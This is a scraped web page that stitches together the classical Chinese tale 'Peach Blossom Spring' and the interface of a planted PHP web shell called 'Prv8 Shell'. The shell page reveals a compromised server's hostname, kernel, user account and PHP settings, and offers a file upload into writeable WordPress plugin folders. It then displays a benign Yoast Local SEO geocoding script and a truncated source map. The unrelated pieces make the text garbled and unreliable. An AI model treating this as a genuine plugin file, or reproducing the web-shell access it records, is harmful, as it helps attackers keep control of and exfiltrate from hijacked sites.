晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/www/wp-content/plugins/wpseo-local/js/dist/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/stando/www/wp-content/plugins/wpseo-local/js/dist/wp-seo-local-locations-1210.js
(function(){function r(e,n,t){function o(i,f){if(!n[i]){if(!e[i]){var c="function"==typeof require&&require;if(!f&&c)return c(i,!0);if(u)return u(i,!0);var a=new Error("Cannot find module '"+i+"'");throw a.code="MODULE_NOT_FOUND",a}var p=n[i]={exports:{}};e[i][0].call(p.exports,function(r){var n=e[i][1][r];return o(n||r)},p,p.exports,r,e,n,t)}return n[i].exports}for(var u="function"==typeof require&&require,i=0;i<t.length;i++)o(t[i]);return o}return r})()({1:[function(require,module,exports){
"use strict";

Object.defineProperty(exports, "__esModule", {
	value: true
});

var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

function _asyncToGenerator(fn) { return function () { var gen = fn.apply(this, arguments); return new Promise(function (resolve, reject) { function step(key, arg) { try { var info = gen[key](arg); var value = info.value; } catch (error) { reject(error); return; } if (info.done) { resolve(value); } else { return Promise.resolve(value).then(function (value) { step("next", value); }, function (err) { step("throw", err); }); } } return step("next"); }); }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

/**
 * wpseoLocalGeocodingRepository class for geocoding addresses.
 */
var GeocodingRepository = function () {
	function GeocodingRepository() {
		_classCallCheck(this, GeocodingRepository);
	}

	_createClass(GeocodingRepository, null, [{
		key: "geoCodeAddress",

		/**
   * Geocode the address based using the Google maps JavaScript geocoding API
   *
   * @var object An object containing either { "address": <address as a string> } or { "location": <the LatLng coordinates>}
   */
		value: function () {
			var _ref = _asyncToGenerator( /*#__PURE__*/regeneratorRuntime.mark(function _callee(location) {
				var geocoder;
				return regeneratorRuntime.wrap(function _callee$(_context) {
					while (1) {
						switch (_context.prev = _context.next) {
							case 0:
								geocoder = new google.maps.Geocoder();

								if (!((typeof location === "undefined" ? "undefined" : _typeof(location)) === "object")) {
									_context.next = 3;
									break;
								}

								return _context.abrupt("return", new Promise(function (resolve, reject) {
									geocoder.geocode(location, function (results, status) {
										if (status === "OK") {
											return resolve(results);
										}

										return reject(status);
									});
								}));

							case 3:
								throw new Error("Location should be an object");

							case 4:
							case "end":
								return _context.stop();
						}
					}
				}, _callee, this);
			}));

			function geoCodeAddress(_x) {
				return _ref.apply(this, arguments);
			}

			return geoCodeAddress;
		}()
	}]);

	return GeocodingRepository;
}();

exports.default = GeocodingRepository;

},{}],2:[function(require,module,exports){
"use strict";

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _wpSeoLocalGeocodingRepository = require("./wp-seo-local-geocoding-repository.js");

var _wpSeoLocalGeocodingRepository2 = _interopRequireDefault(_wpSeoLocalGeocodingRepository);

var _wpSeoLocalTimezoneRepository = require("./wp-seo-local-timezone-repository.js");

var _wpSeoLocalTimezoneRepository2 = _interopRequireDefault(_wpSeoLocalTimezoneRepository);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _asyncToGenerator(fn) { return function () { var gen = fn.apply(this, arguments); return new Promise(function (resolve, reject) { function step(key, arg) { try { var info = gen[key](arg); var value = info.value; } catch (error) { reject(error); return; } if (info.done) { resolve(value); } else { return Promise.resolve(value).then(function (value) { step("next", value); }, function (err) { step("throw", err); }); } } return step("next"); }); }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

/**
 * A class to handle all address changes and maybe calculate new lat/long and timezone.
 */
var Locations = function () {
	/**
  * Constructor for the wpseoLocalGeocodingRepository.
  * Here we assign fields to class constants and bind methods.
  */
	function Locations() {
		_classCallCheck(this, Locations);

		this.addressFields = [document.querySelector(".wpseo_local_address_input"), document.querySelector(".wpseo_local_zipcode_input"), document.querySelector(".wpseo_local_city_input"), document.querySelector(".wpseo_local_state_input"), document.querySelector(".select[id*=\"_country\"]")];

		this.latField = document.querySelector(".wpseo_local_lat_input");
		this.lngField = document.querySelector(".wpseo_local_lng_input");

		this.timezoneField = document.querySelector("select[id*=\"_timezone\"]");

		this.apiKey = wpseoLocalLocations.apiKey;

		this.maybeGeoCodeAddress = this.maybeGeoCodeAddress.bind(this);
		this.maybeSetTimezone = this.maybeSetTimezone.bind(this);
		this.formatAddress = this.formatAddress.bind(this);
	}

	/**
  * Add event listeners to fire a function upon specified events.
  */


	_createClass(Locations, [{
		key: "addEventListeners",
		value: function addEventListeners() {
			document.addEventListener("change", this.maybeGeoCodeAddress);
			document.addEventListener("change", this.maybeSetTimezone);
		}

		/**
   * Check wheter a address should be geocoded.
   *
   * @param e The event passed by the event listener.
   */

	}, {
		key: "maybeGeoCodeAddress",
		value: function () {
			var _ref = _asyncToGenerator( /*#__PURE__*/regeneratorRuntime.mark(function _callee(e) {
				var formattedAddress, results, errorFieldElement;
				return regeneratorRuntime.wrap(function _callee$(_context) {
					while (1) {
						switch (_context.prev = _context.next) {
							case 0:
								if (!(this.addressFields.indexOf(e.target) !== -1)) {
									_context.next = 27;
									break;
								}

								this.errorField = document.querySelector(".wpseo_local_geocoding_error");

								formattedAddress = this.formatAddress();


								if (this.errorField !== null) {
									this.errorField.parentNode.removeChild(this.errorField);
								}

								/**
         * Empty the lat/lng fields. They will be recalculated and result in empty fields if geocoding failed.
         *
         * @type {string}
         */
								this.latField.value = "";
								this.lngField.value = "";

								/**
         * Try Geocoding of the given address. If it fails generate an error message based on the returned error.
         */
								_context.prev = 6;
								_context.next = 9;
								return _wpSeoLocalGeocodingRepository2.default.geoCodeAddress({ address: formattedAddress });

							case 9:
								results = _context.sent;


								this.latField.value = results[0].geometry.location.lat();
								this.lngField.value = results[0].geometry.location.lng();

								try {
									this.maybeSetTimezone(e);
								} catch (error) {
									console.log(error);
								}

								_context.next = 27;
								break;

							case 15:
								_context.prev = 15;
								_context.t0 = _context["catch"](6);
								errorFieldElement = document.createElement("p");

								errorFieldElement.classList.add("wpseo_local_geocoding_error");

								_context.t1 = _context.t0;
								_context.next = _context.t1 === "ZERO_RESULTS" ? 22 : _context.t1 === "OVER_QUERY_LIMIT" ? 24 : _context.t1 === "REQUEST_DENIED" ? 26 : 27;
								break;

							case 22:
								errorFieldElement.appendChild(document.createTextNode("We could not retrieve coordinates for this address."));
								return _context.abrupt("break", 27);

							case 24:
								errorFieldElement.appendChild(document.createTextNode("You are over your query limit."));
								return _context.abrupt("break", 27);

							case 26:
								errorFieldElement.appendChild(document.createTextNode("Your API key is not entered or not valid."));

							case 27:
							case "end":
								return _context.stop();
						}
					}
				}, _callee, this, [[6, 15]]);
			}));

			function maybeGeoCodeAddress(_x) {
				return _ref.apply(this, arguments);
			}

			return maybeGeoCodeAddress;
		}()

		/**
   * Format an address the Google Geocoder can use based on the filled in address fields.
   *
   * @returns {string}
   */

	}, {
		key: "formatAddress",
		value: function formatAddress() {
			var address = [];

			this.addressFields.forEach(function (addressField) {
				if (addressField.value !== "") {
					address.push(addressField.value);
				}
			});

			return address.join(", ");
		}
	}, {
		key: "maybeSetTimezone",
		value: function () {
			var _ref2 = _asyncToGenerator( /*#__PURE__*/regeneratorRuntime.mark(function _callee2(e) {
				var latLng, result;
				return regeneratorRuntime.wrap(function _callee2$(_context2) {
					while (1) {
						switch (_context2.prev = _context2.next) {
							case 0:
								if (!(this.latField.value !== "" && this.lngField.value !== "")) {
									_context2.next = 12;
									break;
								}

								latLng = this.latField.value + ", " + this.lngField.value;
								_context2.prev = 2;
								_context2.next = 5;
								return _wpSeoLocalTimezoneRepository2.default.getTimezone(latLng, this.apiKey);

							case 5:
								result = _context2.sent;


								if (result !== '') {
									$(this.timezoneField).val(result).trigger('change');
								}
								_context2.next = 12;
								break;

							case 9:
								_context2.prev = 9;
								_context2.t0 = _context2["catch"](2);
								return _context2.abrupt("return", console.log(_context2.t0));

							case 12:
							case "end":
								return _context2.stop();
						}
					}
				}, _callee2, this, [[2, 9]]);
			}));

			function maybeSetTimezone(_x2) {
				return _ref2.apply(this, arguments);
			}

			return maybeSetTimezone;
		}()
	}]);

	return Locations;
}();

var locationsInstance = new Locations();

locationsInstance.addEventListeners();

},{"./wp-seo-local-geocoding-repository.js":1,"./wp-seo-local-timezone-repository.js":3}],3:[function(require,module,exports){
"use strict";

Object.defineProperty(exports, "__esModule", {
	value: true
});

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

function _asyncToGenerator(fn) { return function () { var gen = fn.apply(this, arguments); return new Promise(function (resolve, reject) { function step(key, arg) { try { var info = gen[key](arg); var value = info.value; } catch (error) { reject(error); return; } if (info.done) { resolve(value); } else { return Promise.resolve(value).then(function (value) { step("next", value); }, function (err) { step("throw", err); }); } } return step("next"); }); }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

/**
 * TimezoneRepository class for retrieving the timezone based based on lat/lng coordinates.
 */
var TimezoneRepository = function () {
	function TimezoneRepository() {
		_classCallCheck(this, TimezoneRepository);
	}

	_createClass(TimezoneRepository, null, [{
		key: "getTimezone",

		/**
   * Get the timezone from Google's Timezone API
   *
   * @var object An object containing either { "address": <address as a string> } or { "location": <the LatLng coordinates>}
   */
		value: function () {
			var _ref = _asyncToGenerator( /*#__PURE__*/regeneratorRuntime.mark(function _callee(latLng, apiKey) {
				var timestamp, searchParams, request;
				return regeneratorRuntime.wrap(function _callee$(_context) {
					while (1) {
						switch (_context.prev = _context.next) {
							case 0:
								timestamp = Math.floor(Date.now() / 1000);
								searchParams = new URLSearchParams();


								searchParams.append("location", latLng);
								searchParams.append("timestamp", timestamp);
								searchParams.append("key", apiKey);

								request = "https://maps.googleapis.com/maps/api/timezone/json?" + searchParams;
								return _context.abrupt("return", new Promise(function (resolve, reject) {
									var xhr = new XMLHttpRequest();

									xhr.open("GET", request);
									xhr.onload = function () {
										if (xhr.status === 200) {
											var output = JSON.parse(xhr.responseText);

											if (output.status === 'OK') {
												return resolve(output.timeZoneId);
											}

											return reject(output);
										}

										return reject(xhr.status);
									};
									xhr.send();
								}));

							case 7:
							case "end":
								return _context.stop();
						}
					}
				}, _callee, this);
			}));

			function getTimezone(_x, _x2) {
				return _ref.apply(this, arguments);
			}

			return getTimezone;
		}()
	}]);

	return TimezoneRepository;
}();

exports.default = TimezoneRepository;

},{}]},{},[2])
//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIm5vZGVfbW9kdWxlcy9icm93c2VyLXBhY2svX3ByZWx1ZGUuanMiLCJqcy9zcmMvd3Atc2VvLWxvY2FsLWdlb2NvZGluZy1yZXBvc2l0b3J5LmpzIiwianMvc3JjL3dwLXNlby1sb2NhbC1sb2NhdGlvbnMuanMiLCJqcy9zcmMvd3Atc2VvLWxvY2FsLXRpbWV6b25lLXJlcG9zaXRvcnkuanMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBQUE7Ozs7Ozs7Ozs7Ozs7OztBQ0FBOzs7SUFHcUIsbUI7Ozs7Ozs7O0FBQ3BCOzs7Ozs7dUZBSzZCLFE7Ozs7OztBQUN0QixnQixHQUFXLElBQUksT0FBTyxJQUFQLENBQVksUUFBaEIsRTs7Y0FFWixRQUFPLFFBQVAseUNBQU8sUUFBUCxPQUFvQixROzs7Ozt5Q0FDakIsSUFBSSxPQUFKLENBQWEsVUFBRSxPQUFGLEVBQVcsTUFBWCxFQUF1QjtBQUMxQyxrQkFBUyxPQUFULENBQWtCLFFBQWxCLEVBQTRCLFVBQUUsT0FBRixFQUFXLE1BQVgsRUFBdUI7QUFDbEQsY0FBSyxXQUFXLElBQWhCLEVBQXVCO0FBQ3RCLGtCQUFPLFFBQVMsT0FBVCxDQUFQO0FBQ0E7O0FBRUQsaUJBQU8sT0FBUSxNQUFSLENBQVA7QUFDQSxVQU5EO0FBT0EsU0FSTSxDOzs7Y0FXRixJQUFJLEtBQUosQ0FBVyw4QkFBWCxDOzs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7a0JBckJhLG1COzs7Ozs7O0FDSHJCOzs7O0FBQ0E7Ozs7Ozs7Ozs7QUFFQTs7O0lBR00sUztBQUNMOzs7O0FBSUEsc0JBQWM7QUFBQTs7QUFDYixPQUFLLGFBQUwsR0FBcUIsQ0FDcEIsU0FBUyxhQUFULENBQXdCLDRCQUF4QixDQURvQixFQUVwQixTQUFTLGFBQVQsQ0FBd0IsNEJBQXhCLENBRm9CLEVBR3BCLFNBQVMsYUFBVCxDQUF3Qix5QkFBeEIsQ0FIb0IsRUFJcEIsU0FBUyxhQUFULENBQXdCLDBCQUF4QixDQUpvQixFQUtwQixTQUFTLGFBQVQsQ0FBd0IsMkJBQXhCLENB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QUFPLFFBQVMsT0FBTyxVQUFoQixDQUFQO0FBQ0E7O0FBRUQsa0JBQU8sT0FBUSxNQUFSLENBQVA7QUFDQTs7QUFFRCxpQkFBTyxPQUFRLElBQUksTUFBWixDQUFQO0FBQ0EsVUFaRDtBQWFBLGFBQUksSUFBSjtBQUNBLFNBbEJNLEM7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7OztrQkFqQlksa0IiLCJmaWxlIjoiZ2VuZXJhdGVkLmpzIiwic291cmNlUm9vdCI6IiIsInNvdXJjZXNDb250ZW50IjpbIihmdW5jdGlvbigpe2Z1bmN0aW9uIHIoZSxuLHQpe2Z1bmN0aW9uIG8oaSxmKXtpZighbltpXSl7aWYoIWVbaV0pe3ZhciBjPVwiZnVuY3Rpb25cIj09dHlwZW9mIHJlcXVpcmUmJnJlcXVpcmU7aWYoIWYmJmMpcmV0dXJuIGMoaSwhMCk7aWYodSlyZXR1cm4gdShpLCEwKTt2YXIgYT1uZXcgRXJyb3IoXCJDYW5ub3QgZmluZCBtb2R1bGUgJ1wiK2krXCInXCIpO3Rocm93IGEuY29kZT1cIk1PRFVMRV9OT1RfRk9VTkRcIixhfXZhciBwPW5baV09e2V4cG9ydHM6e319O2VbaV1bMF0uY2FsbChwLmV4cG9ydHMsZnVuY3Rpb24ocil7dmFyIG49ZVtpXVsxXVtyXTtyZXR1cm4gbyhufHxyKX0scCxwLmV4cG9ydHMscixlLG4sdCl9cmV0dXJuIG5baV0uZXhwb3J0c31mb3IodmFyIHU9XCJmdW5jdGlvblwiPT10eXBlb2YgcmVxdWlyZSYmcmVxdWlyZSxpPTA7aTx0Lmxlbmd0aDtpKyspbyh0W2ldKTtyZXR1cm4gb31yZXR1cm4gcn0pKCkiLCIvKipcbiAqIHdwc2VvTG9jYWxHZW9jb2RpbmdSZXBvc2l0b3J5IGNsYXNzIGZvciBnZW9jb2RpbmcgYWRkcmVzc2VzLlxuICovXG5leHBvcnQgZGVmYXVsdCBjbGFzcyBHZW9jb2RpbmdSZXBvc2l0b3J5IHtcblx0LyoqXG5cdCAqIEdlb2NvZGUgdGhlIGFkZHJlc3MgYmFzZWQgdXNpbmcgdGhlIEdvb2dsZSBtYXBzIEphdmFTY3JpcHQgZ2VvY29kaW5nIEFQSVxuXHQgKlxuXHQgKiBAdmFyIG9iamVjdCBBbiBvYmplY3QgY29udGFpbmluZyBlaXRoZXIgeyBcImFkZHJlc3NcIjogPGFkZHJlc3MgYXMgYSBzdHJpbmc+IH0gb3IgeyBcImxvY2F0aW9uXCI6IDx0aGUgTGF0TG5nIGNvb3JkaW5hdGVzPn1cblx0ICovXG5cdHN0YXRpYyBhc3luYyBnZW9Db2RlQWRkcmVzcyggbG9jYXRpb24gKSB7XG5cdFx0Y29uc3QgZ2VvY29kZXIgPSBuZXcgZ29vZ2xlLm1hcHMuR2VvY29kZXIoKTtcblxuXHRcdGlmICggdHlwZW9mIGxvY2F0aW9uID09PSBcIm9iamVjdFwiICkge1xuXHRcdFx0cmV0dXJuIG5ldyBQcm9taXNlKCAoIHJlc29sdmUsIHJlamVjdCApID0+IHtcblx0XHRcdFx0Z2VvY29kZXIuZ2VvY29kZSggbG9jYXRpb24sICggcmVzdWx0cywgc3RhdHVzICkgPT4ge1xuXHRcdFx0XHRcdGlmICggc3RhdHVzID09PSBcIk9LXCIgKSB7XG5cdFx0XHRcdFx0XHRyZXR1cm4gcmVzb2x2ZSggcmVzdWx0cyApO1xuXHRcdFx0XHRcdH1cblxuXHRcdFx0XHRcdHJldHVybiByZWplY3QoIHN0YXR1cyApO1xuXHRcdFx0XHR9ICk7XG5cdFx0XHR9ICk7XG5cdFx0fVxuXG5cdFx0dGhyb3cgbmV3IEVycm9yKCBcIkxvY2F0aW9uIHNob3VsZCBiZSBhbiBvYmplY3RcIiApO1xuXHR9XG59IiwiaW1wb3J0IEdlb0NvZGluZ1JlcG9zaXRvcnkgZnJvbSBcIi4vd3Atc2VvLWxvY2FsLWdlb2NvZGluZy1yZXBvc2l0b3J5LmpzXCI7XG5pbXBvcnQgVGltZXpvbmVSZXBvc2l0b3J5IGZyb20gXCIuL3dwLXNlby1sb2NhbC10aW1lem9uZS1yZXBvc2l0b3J5LmpzXCI7XG5cbi8qKlxuICogQSBjbGFzcyB0byBoYW5kbGUgYWxsIGFkZHJlc3MgY2hhbmdlcyBhbmQgbWF5YmUgY2FsY3VsYXRlIG5ldyBsYXQvbG9uZyBhbmQgdGltZXpvbmUuXG4gKi9cbmNsYXNzIExvY2F0aW9ucyB7XG5cdC8qKlxuXHQgKiBDb25zdHJ1Y3RvciBmb3IgdGhlIHdwc2VvTG9jYWxHZW9jb2RpbmdSZXBvc2l0b3J5LlxuXHQgKiBIZXJlIHdlIGFzc2lnbiBmaWVsZHMgdG8gY2xhc3MgY29uc3RhbnRzIGFuZCBiaW5kIG1ldGhvZHMuXG5cdCAqL1xuXHRjb25zdHJ1Y3RvcigpIHtcblx0XHR0aGlzLmFkZHJlc3NGaWVsZHMgPSBbXG5cdFx0XHRkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCBcIi53cHNlb19sb2NhbF9hZGRyZXNzX2lucHV0XCIgKSxcblx0XHRcdGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIFwiLndwc2VvX2xvY2FsX3ppcGNvZGVfaW5wdXRcIiApLFxuXHRcdFx0ZG9jdW1lbnQucXVlcnlTZWxlY3RvciggXCIud3BzZW9fbG9jYWxfY2l0eV9pbnB1dFwiICksXG5cdFx0XHRkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCBcIi53cHNlb19sb2NhbF9zdGF0ZV9pbnB1dFwiICksXG5cdFx0XHRkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCBcIi5zZWxlY3RbaWQqPVxcXCJfY291bnRyeVxcXCJdXCIgKSxcblx0XHRdO1xuXG5cdFx0dGhpcy5sYXRGaWVsZCA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIFwiLndwc2VvX2xvY2FsX2xhdF9pbnB1dFwiICk7XG5cdFx0dGhpcy5sbmdGaWVsZCA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIFwiLndwc2VvX2xvY2FsX2xuZ19pbnB1dFwiICk7XG5cblx0XHR0aGlzLnRpbWV6b25lRmllbGQgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCBcInNlbGVjdFtpZCo9XFxcIl90aW1lem9uZVxcXCJdXCIgKTtcblxuXHRcdHRoaXMuYXBpS2V5ID0gd3BzZW9Mb2NhbExvY2F0aW9ucy5hcGlLZXk7XG5cblx0XHR0aGlzLm1heWJlR2VvQ29kZUFkZHJlc3MgPSB0aGlzLm1heWJlR2VvQ29kZUFkZHJlc3MuYmluZCggdGhpcyApO1xuXHRcdHRoaXMubWF5YmVTZXRUaW1lem9uZSA9IHRoaXMubWF5YmVTZXRUaW1lem9uZS5iaW5kKCB0aGlzICk7XG5cdFx0dGhpcy5mb3JtYXRBZGRyZXNzID0gdGhpcy5mb3JtYXRBZGRyZXNzLmJpbmQoIHRoaXMgKTtcblx0fVxuXG5cdC8qKlxuXHQgKiBBZGQgZXZlbnQgbGlzdGVuZXJzIHRvIGZpcmUgYSBmdW5jdGlvbiB1cG9uIHNwZWNpZmllZCBldmVudHMuXG5cdCAqL1xuXHRhZGRFdmVudExpc3RlbmVycygpIHtcblx0XHRk